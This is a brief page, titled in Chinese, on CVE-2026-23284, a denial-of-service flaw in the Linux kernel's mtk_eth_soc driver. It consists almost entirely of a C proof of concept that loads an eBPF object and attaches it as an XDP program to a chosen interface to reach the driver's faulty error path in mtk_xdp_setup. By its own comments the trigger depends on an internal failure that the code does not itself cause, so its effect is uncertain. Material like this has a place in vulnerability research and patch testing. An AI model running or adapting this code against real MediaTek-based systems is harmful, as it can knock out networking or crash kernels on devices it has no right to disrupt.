CVE-2026-23284 Linux内核 mtk_eth_soc DoS漏洞

// PoC for CVE-2026-23284 // This PoC attempts to trigger the error path in mtk_xdp_setup // by attaching an XDP program to a vulnerable MTK interface. #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <errno.h> #include <bpf/bpf.h> #include <bpf/libbpf.h> #include <linux/if_link.h> #include <net/if.h> int main(int argc, char **argv) { struct bpf_object *obj; struct bpf_program *prog; int prog_fd = -1, ifindex; const char *ifname = "eth0"; // Replace with actual MTK interface struct bpf_xdp_set_link_opts xdp_opts = {}; int err; if (argc > 1) { ifname = argv[1]; } // 1. Load a minimal eBPF program (bytecode file required) obj = bpf_object__open_file("xdp_pass.o", NULL); if (libbpf_get_error(obj)) { fprintf(stderr, "ERROR: opening BPF object\n"); return 1; } if (bpf_object__load(obj)) { fprintf(stderr, "ERROR: loading BPF object\n"); return 1; } prog = bpf_object__find_program_by_name(obj, "xdp_pass"); if (!prog) { fprintf(stderr, "ERROR: finding program\n"); return 1; } prog_fd = bpf_program__fd(prog); // 2. Get interface index ifindex = if_nametoindex(ifname); if (!ifindex) { perror("if_nametoindex"); return 1; } printf("Attempting to attach XDP program to %s (index: %d)\n", ifname, ifindex); // 3. Attach XDP program to trigger mtk_xdp_setup // If mtk_open fails internally (e.g. resource constraint), // the vulnerability is triggered. err = bpf_set_link_xdp_fd_opts(ifindex, prog_fd, XDP_FLAGS_UPDATE_IF_NOEXIST, &xdp_opts, sizeof(xdp_opts)); if (err < 0) { fprintf(stderr, "Error attaching XDP program (expected if vulnerable or no perms): %d\n", err); } else { printf("XDP program attached successfully.\n"); sleep(1); // Keep it attached briefly bpf_set_link_xdp_fd(ifindex, -1, XDP_FLAGS_UPDATE_IF_NOEXIST); // Detach } return 0; }